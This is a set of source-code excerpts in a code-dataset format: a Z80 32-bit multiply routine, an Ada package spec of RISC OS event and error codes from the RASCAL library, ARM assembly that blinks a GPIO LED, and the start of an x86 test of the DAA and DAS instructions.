ex (sp),hl ; ab on stack, ef in HL
push de ; dc on stack
push bc ; ab on stack (again)
push hl ; ef on stack
ld d,l
ld a,h
ld h,e
ld e,a
mul de ; b*e 2^8
ex de,hl
mul de ; c*f 2^8
xor a
add hl,de
adc a,a
ld c,h ; put 2^8 in bc
ld b,a
pop de ; ef
pop hl ; ab
ld a,d
ld d,h
ld h,a
mul de ; a*f 2^16
ex de,hl
mul de ; e*b 2^16
xor a
add hl,bc
adc a,a
add hl,de
adc a,0
pop de ; dc
mul de ; d*c 2^16
add hl,de
adc a,0
ld c,h ; put 2^16 in bca
ld b,a
ld a,l
pop de ; ab
pop hl ; de
push af ; l on stack
ld a,d
ld d,h
ld h,a
mul de ; d*b 2^24
ex de,hl
mul de ; a*e 2^24
xor a
add hl,bc
adc a,a
add hl,de
adc a,0
pop bc ; l in b
ld c,b
ld b,l
ld l,h
ld h,a
pop de ; ad
mul de ; a*d 2^32
add hl,de
ld d,b
ld e,c ; exit : HLDE = 32-bit product
ret
ENDIF
|
source/rascal-os.ads | bracke/Meaning | 0 | 19876 | <reponame>bracke/Meaning
--------------------------------------------------------------------------------
-- --
-- Copyright (C) 2004, RISC OS Ada Library (RASCAL) developers. --
-- --
-- This library is free software; you can redistribute it and/or --
-- modify it under the terms of the GNU Lesser General Public --
-- License as published by the Free Software Foundation; either --
-- version 2.1 of the License, or (at your option) any later version. --
-- --
-- This library is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- Lesser General Public License for more details. --
-- --
-- You should have received a copy of the GNU Lesser General Public --
-- License along with this library; if not, write to the Free Software --
-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA --
-- --
--------------------------------------------------------------------------------
-- @brief OS events and types. Abstract task definition.
-- $Author$
-- $Date$
-- $Revision$
with Kernel; use Kernel;
with System; use System;
with System.Unsigned_Types; use System.Unsigned_Types;
with Ada.Unchecked_Conversion;
package RASCAL.OS is
type Event_Type is (Wimp,Message,Toolbox);
type Event_Listener (K : Event_Type) is abstract tagged record
Kind : Event_Type := K;
end record;
type Event_Pointer is access all Event_Listener'Class;
procedure Handle (The : in Event_Listener) is abstract;
type Byte is mod 2**8;
type Wimp_Handle_Type is new Integer;
type Icon_Handle_Type is new Integer;
type Reason_Event_Code_Type is new System.Unsigned_Types.Unsigned;
Reason_Event_NullReason : constant Reason_Event_Code_Type := 0;
Reason_Event_RedrawWindow : constant Reason_Event_Code_Type := 1;
Reason_Event_OpenWindow : constant Reason_Event_Code_Type := 2;
Reason_Event_CloseWindow : constant Reason_Event_Code_Type := 3;
Reason_Event_PointerLeavingWindow : constant Reason_Event_Code_Type := 4;
Reason_Event_PointerEnteringWindow : constant Reason_Event_Code_Type := 5;
Reason_Event_MouseClick : constant Reason_Event_Code_Type := 6;
Reason_Event_UserDrag : constant Reason_Event_Code_Type := 7;
Reason_Event_KeyPressed : constant Reason_Event_Code_Type := 8;
Reason_Event_MenuSelection : constant Reason_Event_Code_Type := 9;
Reason_Event_ScrollRequest : constant Reason_Event_Code_Type := 10;
Reason_Event_LoseCaret : constant Reason_Event_Code_Type := 11;
Reason_Event_GainCaret : constant Reason_Event_Code_Type := 12;
Reason_Event_PollWordNonZero : constant Reason_Event_Code_Type := 13;
Reason_Event_UserMessage : constant Reason_Event_Code_Type := 17;
Reason_Event_UserMessageRecorded : constant Reason_Event_Code_Type := 18;
Reason_Event_UserMessageAcknowledge : constant Reason_Event_Code_Type := 19;
Reason_Event_ToolboxEvent : constant Reason_Event_Code_Type := 16#200#;
type Wimp_EventListener (E : Reason_Event_Code_Type;
W : Wimp_Handle_Type;
I : Icon_Handle_Type) is abstract new Event_Listener(Wimp) with
record
Event_Code : Reason_Event_Code_Type := E;
Window : Wimp_Handle_Type := W;
Icon : Icon_Handle_Type := I;
end record;
type Message_Event_Code_Type is new System.Unsigned_Types.Unsigned;
Message_Event_Quit : constant Message_Event_Code_Type := 0;
Message_Event_DataSave : constant Message_Event_Code_Type := 1;
Message_Event_DataSaveAck : constant Message_Event_Code_Type := 2;
Message_Event_DataLoad : constant Message_Event_Code_Type := 3;
Message_Event_DataLoadAck : constant Message_Event_Code_Type := 4;
Message_Event_DataOpen : constant Message_Event_Code_Type := 5;
Message_Event_RAMFetch : constant Message_Event_Code_Type := 6;
Message_Event_RAMTransmit : constant Message_Event_Code_Type := 7;
Message_Event_PreQuit : constant Message_Event_Code_Type := 8;
Message_Event_PaletteChange : constant Message_Event_Code_Type := 9;
Message_Event_SaveDesktop : constant Message_Event_Code_Type := 10;
Message_Event_DeviceClaim : constant Message_Event_Code_Type := 11;
Message_Event_DeviceInUse : constant Message_Event_Code_Type := 12;
Message_Event_DataSaved : constant Message_Event_Code_Type := 13;
Message_Event_Shutdown : constant Message_Event_Code_Type := 14;
Message_Event_FilerOpenDir : constant Message_Event_Code_Type := 16#400#;
Message_Event_FilerCloseDir : constant Message_Event_Code_Type := 16#401#;
Message_Event_FilerOpenDirAt : constant Message_Event_Code_Type := 16#402#;
Message_Event_FilerSelectionDirectory: constant Message_Event_Code_Type := 16#403#;
Message_Event_FilerAddSelection : constant Message_Event_Code_Type := 16#404#;
Message_Event_FilerAction : constant Message_Event_Code_Type := 16#405#;
Message_Event_FilerControlAction : constant Message_Event_Code_Type := 16#406#;
Message_Event_FilerSelection : constant Message_Event_Code_Type := 16#407#;
Message_Event_AlarmSet : constant Message_Event_Code_Type := 16#500#;
Message_Event_AlarmGoneOff : constant Message_Event_Code_Type := 16#501#;
Message_Event_HelpEnable : constant Message_Event_Code_Type := 16#504#;
Message_Event_Notify : constant Message_Event_Code_Type := 16#40040#;
Message_Event_MenuWarning : constant Message_Event_Code_Type := 16#400c0#;
Message_Event_ModeChange : constant Message_Event_Code_Type := 16#400c1#;
Message_Event_TaskInitialise : constant Message_Event_Code_Type := 16#400c2#;
Message_Event_TaskCloseDown : constant Message_Event_Code_Type := 16#400c3#;
Message_Event_SlotSize : constant Message_Event_Code_Type := 16#400c4#;
Message_Event_SetSlot : constant Message_Event_Code_Type := 16#400c5#;
Message_Event_TaskNameRq : constant Message_Event_Code_Type := 16#400c6#;
Message_Event_TaskNameIs : constant Message_Event_Code_Type := 16#400c7#;
Message_Event_TaskStarted : constant Message_Event_Code_Type := 16#400c8#;
Message_Event_MenusDeleted : constant Message_Event_Code_Type := 16#400c9#;
Message_Event_Iconize : constant Message_Event_Code_Type := 16#40c10#;
Message_Event_IconizeAt : constant Message_Event_Code_Type := 16#400D0#;
Message_Event_WindowInfo : constant Message_Event_Code_Type := 16#40c11#;
Message_Event_WindowClosed : constant Message_Event_Code_Type := 16#40c12#;
Message_Event_FontChanged : constant Message_Event_Code_Type := 16#400CF#;
Message_Event_PrintFile : constant Message_Event_Code_Type := 16#80140#;
Message_Event_WillPrint : constant Message_Event_Code_Type := 16#80141#;
Message_Event_PrintSave : constant Message_Event_Code_Type := 16#80142#;
Message_Event_PrintInit : constant Message_Event_Code_Type := 16#80143#;
Message_Event_PrintError : constant Message_Event_Code_Type := 16#80144#;
Message_Event_PrintTypeOdd : constant Message_Event_Code_Type := 16#80145#;
Message_Event_PrintTypeKnown : constant Message_Event_Code_Type := 16#80146#;
Message_Event_SetPrinter : constant Message_Event_Code_Type := 16#80147#;
Message_Event_PSPrinterQuery : constant Message_Event_Code_Type := 16#8014c#;
Message_Event_PSPrinterAck : constant Message_Event_Code_Type := 16#8014d#;
Message_Event_PSPrinterModified : constant Message_Event_Code_Type := 16#8014e#;
Message_Event_PSPrinterDefaults : constant Message_Event_Code_Type := 16#8014f#;
Message_Event_PSPrinterDefaulted : constant Message_Event_Code_Type := 16#80150#;
Message_Event_PSPrinterNotPS : constant Message_Event_Code_Type := 16#80151#;
Message_Event_ResetPrinter : constant Message_Event_Code_Type := 16#80152#;
Message_Event_PSIsFontPrintRunning : constant Message_Event_Code_Type := 16#80153#;
Message_Event_HelpRequest : constant Message_Event_Code_Type := 16#502#;
Message_Event_HelpReply : constant Message_Event_Code_Type := 16#503#;
Message_Event_Help_Word : constant Message_Event_Code_Type := 16#43B00#;
Message_Event_TW_Input : constant Message_Event_Code_Type := 16#808C0#;
Message_Event_TW_Output : constant Message_Event_Code_Type := 16#808C1#;
Message_Event_TW_Ego : constant Message_Event_Code_Type := 16#808C2#;
Message_Event_TW_Morio : constant Message_Event_Code_Type := 16#808C3#;
Message_Event_TW_Morite : constant Message_Event_Code_Type := 16#808C4#;
Message_Event_TW_NewTask : constant Message_Event_Code_Type := 16#808C5#;
Message_Event_TW_Suspend : constant Message_Event_Code_Type := 16#808C6#;
Message_Event_TW_Resume : constant Message_Event_Code_Type := 16#808C7#;
Message_Event_PlugInQuit : constant Message_Event_Code_Type := 16#50D80#;
Message_Event_PlugInQuitContinue : constant Message_Event_Code_Type := 16#50D81#;
Message_Event_PlugInQuitAbort : constant Message_Event_Code_Type := 16#50D82#;
Message_Event_OpenConfigWindow : constant Message_Event_Code_Type := 16#50D83#;
Message_Event_Bugz_Query : constant Message_Event_Code_Type := 16#53B80#;
Message_Event_Bugz_BugzFile : constant Message_Event_Code_Type := 16#53B81#;
Message_Event_OLE_FileChanged : constant Message_Event_Code_Type := 16#80E1E#;
Message_Event_OLEOpenSession : constant Message_Event_Code_Type := 16#80E21#;
Message_Event_OLEOpenSessionAck : constant Message_Event_Code_Type := 16#80E22#;
Message_Event_OLECloseSession : constant Message_Event_Code_Type := 16#80E23#;
Message_Event_ConfiX : constant Message_Event_Code_Type := 16#40D50#;
Message_Event_StrongEDModeFileChanged : constant Message_Event_Code_Type := 16#43b06#;
Message_Event_StrongEDInsertText : constant Message_Event_Code_Type := 16#43b04#;
Message_Event_InetSuite_Open_URL : constant Message_Event_Code_Type := 16#4AF80#;
type Message_EventListener (E : Message_Event_Code_Type) is abstract new Event_Listener(Message) with
record
Event_Code : Message_Event_Code_Type := E;
end record;
type Message_Event_Header is
record
Size : System.Unsigned_Types.Unsigned;
Sender : Integer;
MyRef : System.Unsigned_Types.Unsigned;
YourRef : System.Unsigned_Types.Unsigned;
Event_Code : Message_Event_Code_Type;
end record;
pragma Convention (C, Message_Event_Header);
type ToolBox_Event_Code_Type is new System.Unsigned_Types.Unsigned;
Toolbox_Event_Error : constant ToolBox_Event_Code_Type := 16#44EC0#;
Toolbox_Event_ObjectAutoCreated : constant ToolBox_Event_Code_Type := 16#44EC1#;
Toolbox_Event_ObjectDeleted : constant ToolBox_Event_Code_Type := 16#44EC2#;
Toolbox_Event_Menu_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#828C0#;
Toolbox_Event_Menu_HasBeenHidden : constant ToolBox_Event_Code_Type := 16#828C1#;
Toolbox_Event_Menu_SubMenu : constant ToolBox_Event_Code_Type := 16#828C2#;
Toolbox_Event_Menu_Selection : constant ToolBox_Event_Code_Type := 16#828C3#;
Toolbox_Event_ColourDbox_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#829C0#;
Toolbox_Event_ColourDbox_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#829C1#;
Toolbox_Event_ColourDbox_ColourSelected : constant ToolBox_Event_Code_Type := 16#829C2#;
Toolbox_Event_ColourDbox_ColourChanged : constant ToolBox_Event_Code_Type := 16#829C3#;
Toolbox_Event_ColourMenu_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82980#;
Toolbox_Event_ColourMenu_HasBeenHidden : constant ToolBox_Event_Code_Type := 16#82981#;
Toolbox_Event_ColourMenu_Selection : constant ToolBox_Event_Code_Type := 16#82982#;
Toolbox_Event_DCS_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82A80#;
Toolbox_Event_DCS_Discard : constant ToolBox_Event_Code_Type := 16#82A81#;
Toolbox_Event_DCS_Save : constant ToolBox_Event_Code_Type := 16#82A82#;
Toolbox_Event_DCS_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82A83#;
Toolbox_Event_DCS_Cancel : constant ToolBox_Event_Code_Type := 16#82A84#;
Toolbox_Event_FileInfo_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82AC0#;
Toolbox_Event_FileInfo_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82AC1#;
Toolbox_Event_FontDbox_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82A00#;
Toolbox_Event_FontDbox_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82A01#;
Toolbox_Event_FontDbox_ApplyFont : constant ToolBox_Event_Code_Type := 16#82A02#;
Toolbox_Event_FontMenu_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82A40#;
Toolbox_Event_FontMenu_HasBeenHidden : constant ToolBox_Event_Code_Type := 16#82A41#;
Toolbox_Event_FontMenu_Selection : constant ToolBox_Event_Code_Type := 16#82A42#;
Toolbox_Event_Iconbar_Clicked : constant ToolBox_Event_Code_Type := 16#82900#;
Toolbox_Event_Iconbar_SelectAboutToBeShown : constant ToolBox_Event_Code_Type := 16#82901#;
Toolbox_Event_Iconbar_AdjustAboutToBeShown : constant ToolBox_Event_Code_Type := 16#82902#;
Toolbox_Event_PrintDbox_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82B00#;
Toolbox_Event_PrintDbox_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82B01#;
Toolbox_Event_PrintDbox_SetupAboutToBeShown : constant ToolBox_Event_Code_Type := 16#82B02#;
Toolbox_Event_PrintDbox_Save : constant ToolBox_Event_Code_Type := 16#82B03#;
Toolbox_Event_PrintDbox_SetUp : constant ToolBox_Event_Code_Type := 16#82B04#;
Toolbox_Event_PrintDbox_Print : constant ToolBox_Event_Code_Type := 16#82B05#;
Toolbox_Event_ProgInfo_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82B40#;
Toolbox_Event_ProgInfo_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82B41#;
Toolbox_Event_ProgInfo_LaunchWebPage : constant ToolBox_Event_Code_Type := 16#82B42#;
Toolbox_Event_Quit_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82A90#;
Toolbox_Event_Quit_Quit : constant ToolBox_Event_Code_Type := 16#82A91#;
Toolbox_Event_Quit_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82A92#;
Toolbox_Event_Quit_Cancel : constant ToolBox_Event_Code_Type := 16#82A93#;
Toolbox_Event_SaveAs_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82BC0#;
Toolbox_Event_SaveAs_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82BC1#;
Toolbox_Event_SaveAs_SaveToFile : constant ToolBox_Event_Code_Type := 16#82BC2#;
Toolbox_Event_SaveAs_FillBuffer : constant ToolBox_Event_Code_Type := 16#82BC3#;
Toolbox_Event_SaveAs_SaveCompleted : constant ToolBox_Event_Code_Type := 16#82BC4#;
Toolbox_Event_Scale_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82C00#;
Toolbox_Event_Scale_DialogueCompleted : constant ToolBox_Event_Code_Type := 16#82C01#;
Toolbox_Event_Scale_ApplyFactor : constant ToolBox_Event_Code_Type := 16#82C02#;
Toolbox_Event_Window_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#82880#;
Toolbox_Event_ActionButton_Selected : constant ToolBox_Event_Code_Type := 16#82881#;
Toolbox_Event_OptionButton_StateChanged : constant ToolBox_Event_Code_Type := 16#82882#;
Toolbox_Event_RadioButton_StateChanged : constant ToolBox_Event_Code_Type := 16#82883#;
Toolbox_Event_DisplayField_ValueChanged : constant ToolBox_Event_Code_Type := 16#82884#;
Toolbox_Event_WritableField_ValueChanged : constant ToolBox_Event_Code_Type := 16#82885#;
Toolbox_Event_Slider_ValueChanged : constant ToolBox_Event_Code_Type := 16#82886#;
Toolbox_Event_Draggable_DragStarted : constant ToolBox_Event_Code_Type := 16#82887#;
Toolbox_Event_Draggable_DragEnded : constant ToolBox_Event_Code_Type := 16#82888#;
Toolbox_Event_PopUp_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#8288B#;
Toolbox_Event_Adjuster_Clicked : constant ToolBox_Event_Code_Type := 16#8288C#;
Toolbox_Event_NumberRange_ValueChanged : constant ToolBox_Event_Code_Type := 16#8288D#;
Toolbox_Event_StringSet_ValueChanged : constant ToolBox_Event_Code_Type := 16#8288E#;
Toolbox_Event_StringSet_AboutToBeShown : constant ToolBox_Event_Code_Type := 16#8288F#;
Toolbox_Event_Window_HasBeenHidden : constant ToolBox_Event_Code_Type := 16#82890#;
ToolBox_Event_Quit : constant ToolBox_Event_Code_Type := 16#82A91#;
Toolbox_Event_ScrollList_Selection : constant ToolBox_Event_Code_Type := 16#140181#;
Toolbox_Event_Scrollbar_PositionChanged : constant ToolBox_Event_Code_Type := 16#140183#;
Toolbox_Event_ToolAction_ButtonClicked : constant ToolBox_Event_Code_Type := 16#140140#;
TreeView_SWIBase : constant ToolBox_Event_Code_Type := 16#140280#;
TreeView_EventBase : constant ToolBox_Event_Code_Type := TreeView_SWIBase;
Toolbox_Event_TreeViewNodeSelected : constant ToolBox_Event_Code_Type := TreeView_EventBase + 0;
Toolbox_Event_TreeViewNodeExpanded : constant ToolBox_Event_Code_Type := TreeView_EventBase + 1;
Toolbox_Event_TreeViewNodeRenamed : constant ToolBox_Event_Code_Type := TreeView_EventBase + 2;
Toolbox_Event_TreeViewNodeDataRequired : constant ToolBox_Event_Code_Type := TreeView_EventBase + 3;
Toolbox_Event_TreeViewNodeDragged : constant ToolBox_Event_Code_Type := TreeView_EventBase + 4;
type Object_ID is new Integer;
type Component_ID is new Integer;
subtype Error_Code_Type is Integer;
Error_Escape : constant Error_Code_Type := 16#11#;
Error_Bad_mode : constant Error_Code_Type := 16#19#;
Error_Is_adir : constant Error_Code_Type := 16#A8#;
Error_Types_dont_match : constant Error_Code_Type := 16#AF#;
Error_Bad_rename : constant Error_Code_Type := 16#B0#;
Error_Bad_copy : constant Error_Code_Type := 16#B1#;
Error_Outside_file : constant Error_Code_Type := 16#B7#;
Error_Access_violation : constant Error_Code_Type := 16#BD#;
Error_Too_many_open_files : constant Error_Code_Type := 16#C0#;
Error_Not_open_for_update : constant Error_Code_Type := 16#C1#;
Error_File_open : constant Error_Code_Type := 16#C2#;
Error_Object_locked : constant Error_Code_Type := 16#C3#;
Error_Already_exists : constant Error_Code_Type := 16#C4#;
Error_Bad_file_name : constant Error_Code_Type := 16#CC#;
Error_File_not_found : constant Error_Code_Type := 16#D6#;
Error_Syntax : constant Error_Code_Type := 16#DC#;
Error_Channel : constant Error_Code_Type := 16#DE#;
Error_End_of_file : constant Error_Code_Type := 16#DF#;
Error_Buffer_Overflow : constant Error_Code_Type := 16#E4#;
Error_Bad_filing_system_name : constant Error_Code_Type := 16#F8#;
Error_Bad_key : constant Error_Code_Type := 16#FB#;
Error_Bad_address : constant Error_Code_Type := 16#FC#;
Error_Bad_string : constant Error_Code_Type := 16#FD#;
Error_Bad_command : constant Error_Code_Type := 16#FE#;
Error_Bad_mac_val : constant Error_Code_Type := 16#120#;
Error_Bad_var_nam : constant Error_Code_Type := 16#121#;
Error_Bad_var_type : constant Error_Code_Type := 16#122#;
Error_Var_no_room : constant Error_Code_Type := 16#123#;
Error_Var_cant_find : constant Error_Code_Type := 16#124#;
Error_Var_too_long : constant Error_Code_Type := 16#125#;
Error_Redirect_fail : constant Error_Code_Type := 16#140#;
Error_Stack_full : constant Error_Code_Type := 16#141#;
Error_Bad_hex : constant Error_Code_Type := 16#160#;
Error_Bad_expr : constant Error_Code_Type := 16#161#;
Error_Bad_bra : constant Error_Code_Type := 16#162#;
Error_Stk_oflo : constant Error_Code_Type := 16#163#;
Error_Miss_opn : constant Error_Code_Type := 16#164#;
Error_Miss_opr : constant Error_Code_Type := 16#165#;
Error_Bad_bits : constant Error_Code_Type := 16#166#;
Error_Str_oflo : constant Error_Code_Type := 16#167#;
Error_Bad_itm : constant Error_Code_Type := 16#168#;
Error_Div_zero : constant Error_Code_Type := 16#169#;
Error_Bad_base : constant Error_Code_Type := 16#16A#;
Error_Bad_numb : constant Error_Code_Type := 16#16B#;
Error_Numb_too_big : constant Error_Code_Type := 16#16C#;
Error_Bad_claim_num : constant Error_Code_Type := 16#1A1#;
Error_Bad_release : constant Error_Code_Type := 16#1A2#;
Error_Bad_dev_no : constant Error_Code_Type := 16#1A3#;
Error_Bad_dev_vec_rel : constant Error_Code_Type := 16#1A4#;
Error_Bad_env_number : constant Error_Code_Type := 16#1B0#;
Error_Cant_cancel_quit : constant Error_Code_Type := 16#1B1#;
Error_Ch_dynam_cao : constant Error_Code_Type := 16#1C0#;
Error_Ch_dynam_not_all_moved : constant Error_Code_Type := 16#1C1#;
Error_Apl_wspace_in_use : constant Error_Code_Type := 16#1C2#;
Error_Ram_fs_unchangeable : constant Error_Code_Type := 16#1C3#;
Error_Oscli_long_line : constant Error_Code_Type := 16#1E0#;
Error_Oscli_too_hard : constant Error_Code_Type := 16#1E1#;
Error_Rc_exc : constant Error_Code_Type := 16#1E2#;
Error_Sys_heap_full : constant Error_Code_Type := 16#1E3#;
Error_Buff_overflow : constant Error_Code_Type := 16#1E4#;
Error_Bad_time : constant Error_Code_Type := 16#1E5#;
Error_No_such_swi : constant Error_Code_Type := 16#1E6#;
Error_Unimplemented : constant Error_Code_Type := 16#1E7#;
Error_Out_of_range : constant Error_Code_Type := 16#1E8#;
Error_No_oscli_specials : constant Error_Code_Type := 16#1E9#;
Error_Bad_parameters : constant Error_Code_Type := 16#1EA#;
Error_Arg_repeated : constant Error_Code_Type := 16#1EB#;
Error_Bad_read_sys_info : constant Error_Code_Type := 16#1EC#;
Error_Cdat_stack_overflow : constant Error_Code_Type := 16#2C0#;
Error_Cdat_buffer_overflow : constant Error_Code_Type := 16#2C1#;
Error_Cdat_bad_field : constant Error_Code_Type := 16#2C2#;
Error_Cant_start_application : constant Error_Code_Type := 16#600#;
-- Toolbox errors
Error_Tool_Action_Out_of_Memory : constant Error_Code_Type := 16#80E920#;
Error_Tool_Action_Cant_Create_Icon : constant Error_Code_Type := 16#80E921#;
Error_Tool_Action_Cant_Create_Object : constant Error_Code_Type := 16#80E922#;
Exception_Tool_Action_Out_of_Memory : Exception;
Exception_Tool_Action_Cant_Create_Icon : Exception;
Exception_Tool_Action_Cant_Create_Object: Exception;
Exception_Escape : Exception;
Exception_Bad_mode : Exception;
Exception_Is_adir : Exception;
Exception_Types_dont_match : Exception;
Exception_Bad_rename : Exception;
Exception_Bad_copy : Exception;
Exception_Outside_file : Exception;
Exception_Access_violation : Exception;
Exception_Too_many_open_files : Exception;
Exception_Not_open_for_update : Exception;
Exception_File_open : Exception;
Exception_Object_locked : Exception;
Exception_Already_exists : Exception;
Exception_Bad_file_name : Exception;
Exception_File_not_found : Exception;
Exception_Syntax : Exception;
Exception_Channel : Exception;
Exception_End_of_file : Exception;
Exception_Buffer_Overflow : Exception;
Exception_Bad_filing_system_name : Exception;
Exception_Bad_key : Exception;
Exception_Bad_address : Exception;
Exception_Bad_string : Exception;
Exception_Bad_command : Exception;
Exception_Bad_mac_val : Exception;
Exception_Bad_var_nam : Exception;
Exception_Bad_var_type : Exception;
Exception_Var_no_room : Exception;
Exception_Var_cant_find : Exception;
Exception_Var_too_long : Exception;
Exception_Redirect_fail : Exception;
Exception_Stack_full : Exception;
Exception_Bad_hex : Exception;
Exception_Bad_expr : Exception;
Exception_Bad_bra : Exception;
Exception_Stk_oflo : Exception;
Exception_Miss_opn : Exception;
Exception_Miss_opr : Exception;
Exception_Bad_bits : Exception;
Exception_Str_oflo : Exception;
Exception_Bad_itm : Exception;
Exception_Div_zero : Exception;
Exception_Bad_base : Exception;
Exception_Bad_numb : Exception;
Exception_Numb_too_big : Exception;
Exception_Bad_claim_num : Exception;
Exception_Bad_release : Exception;
Exception_Bad_dev_no : Exception;
Exception_Bad_dev_vec_rel : Exception;
Exception_Bad_env_number : Exception;
Exception_Cant_cancel_quit : Exception;
Exception_Ch_dynam_cao : Exception;
Exception_Ch_dynam_not_all_moved : Exception;
Exception_Apl_wspace_in_use : Exception;
Exception_Ram_fs_unchangeable : Exception;
Exception_Oscli_long_line : Exception;
Exception_Oscli_too_hard : Exception;
Exception_Rc_exc : Exception;
Exception_Sys_heap_full : Exception;
Exception_Buff_overflow : Exception;
Exception_Bad_time : Exception;
Exception_No_such_swi : Exception;
Exception_Unimplemented : Exception;
Exception_Out_of_range : Exception;
Exception_No_oscli_specials : Exception;
Exception_Bad_parameters : Exception;
Exception_Arg_repeated : Exception;
Exception_Bad_read_sys_info : Exception;
Exception_Cdat_stack_overflow : Exception;
Exception_Cdat_buffer_overflow : Exception;
Exception_Cdat_bad_field : Exception;
Exception_Cant_start_application : Exception;
Exception_Unknown_Error : Exception;
procedure Raise_Error (Error : OSError_Access);
--
-- Block filled in by the toolbox on WimpPoll
--
type ToolBox_Id_Block_Type is
record
Ancestor_Id : Object_ID;
Ancestor_Component: Component_ID;
Parent_Id : Object_ID;
Parent_Component : Component_ID;
Self_Id : Object_ID;
Self_Component : Component_ID;
end record;
pragma Convention (C, ToolBox_Id_Block_Type);
type ToolBox_Id_Block_Pointer is access ToolBox_Id_Block_Type;
type Toolbox_EventListener (E : ToolBox_Event_Code_Type;
O : Object_ID;
C : Component_ID) is abstract new Event_Listener(Toolbox) with
record
Event_Code : ToolBox_Event_Code_Type := E;
Object : Object_ID := O;
Component : Component_ID := C;
ID_Block : ToolBox_Id_Block_Pointer;
end record;
type Toolbox_UserEventListener (E : ToolBox_Event_Code_Type;
O : Object_ID;
C : Component_ID) is abstract new
Toolbox_EventListener (E,O,C) with
record
Event : Event_Pointer;
end record;
type Toolbox_Event_Header is
record
Size : System.Unsigned_Types.Unsigned;
Reference_Number : Integer;
Event_Code : System.Unsigned_Types.Unsigned;
Flags : System.Unsigned_Types.Unsigned;
end record;
pragma Convention (C, Toolbox_Event_Header);
Wimp_Block_Size : constant integer := 63;
type Wimp_Block_Type is array (0 .. Wimp_Block_Size) of integer;
type Wimp_Block_Pointer is access Wimp_Block_Type;
Number_Of_Messages : integer := 0;
Max_Number_Of_Messages : constant integer := 63;
type Messages_List_Type is array (0 .. Max_Number_Of_Messages) of integer;
type Messages_List_Pointer is access Messages_List_Type;
type System_Sprite_Pointer is new Address;
type Messages_Control_Block_Type is array (1 .. 6) of System.Unsigned_Types.Unsigned;
type Messages_Handle_Type is access Messages_Control_Block_Type;
end RASCAL.OS;
|
led.asm | Silvantica/Etch-A-Sketch | 0 | 20046 | <gh_stars>0
; This file assumes "base.asm" and "delay.asm" are imported somewhere
; Enables GPIO output on GPIO27
; This doesn't conflict with enable_buttons because we're using GPFSEL instead of
; GPHEN
enable_led:
push {r0-r1,lr}
mov r0, BASE
orr r0, GPIO_OFFSET ;r0 now equals 0x3F200000
; Set bit 21 of GPFSEL2 to enable output on GPIO27 (see broadcom datasheet)
mov r1,#1
lsl r1,#21
str r1,[r0,GPFSEL2_OFFSET]
pop {r0-r1,pc}
; Blinks the LED enabled on GPIO27
blink_led:
push {r0-r1,lr}
mov r0, BASE
orr r0, GPIO_OFFSET ;r0 now equals 0x3F200000
; Turn the light on
mov r1,#1
lsl r1,#27
str r1,[r0,GPSET0_OFFSET]
; Wait for a few milliseconds so we can see the blink
push {r0}
mov r0,#500
bl delay
pop {r0}
; Turn the light off
mov r1,#1
lsl r1,#27
str r1,[r0,GPCLR0_OFFSET]
; Wait for a few milliseconds so we can see that it's off
push {r0}
mov r0,#500
bl delay
pop {r0}
pop {r0-r1,pc}
|
testc/cputest/daadas.asm | krismuad/TOWNSEMU | 124 | 246408 | <gh_stars>100-1000
.386p
ASSUME CS:CODE
PUBLIC TEST_DAA
PUBLIC TEST_DAS
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EFLAGS_CF EQU 00001H
EFLAGS_PF EQU 00004H
EFLAGS_AF EQU 00010H
EFLAGS_ZF EQU 00040H
EFLAGS_SF EQU 00080H
EFLAGS_TRAP EQU 00100H
EFLAGS_IF EQU 00200H
EFLAGS_DF EQU 00400H
EFLAGS_OF EQU 00800H
EFLAGS_IOPL EQU 03000H
EFLAGS_NF EQU 04000H
EFLAGS_RF EQU 10000H
EFLAGS_VF EQU 20000H
EFLAGS_ALIGN_CHECK EQU 40000H
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CODE SEGMENT
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; int TEST_DAA(unsigned int eax,unsigned int edx)
TEST_DAA PROC
PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EIP+8]=EAX, [EIP+12]=EDX
MOV EBP,ESP
PUSHAD
MOV EAX,[EBP+8]
MOV EDX,[EBP+12]
XOR AH,AH
ADD AL,DL
DAA
PUSHFD
POP EBX
AND BL,EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF+EFLAGS_AF
MOV AH,BL
AND EAX,0FFFFH
MOV [EBP+8],EAX
POPAD
MOV EAX,[EBP+8]
POP EBP
RET
TEST_DAA ENDP
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; int TEST_DAS(unsigned int eax,unsigned int edx)
TEST_DAS PROC
PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EIP+8]=EAX, [EIP+12]=EDX
MOV EBP,ESP
PUSHAD
MOV EAX,[EBP+8]
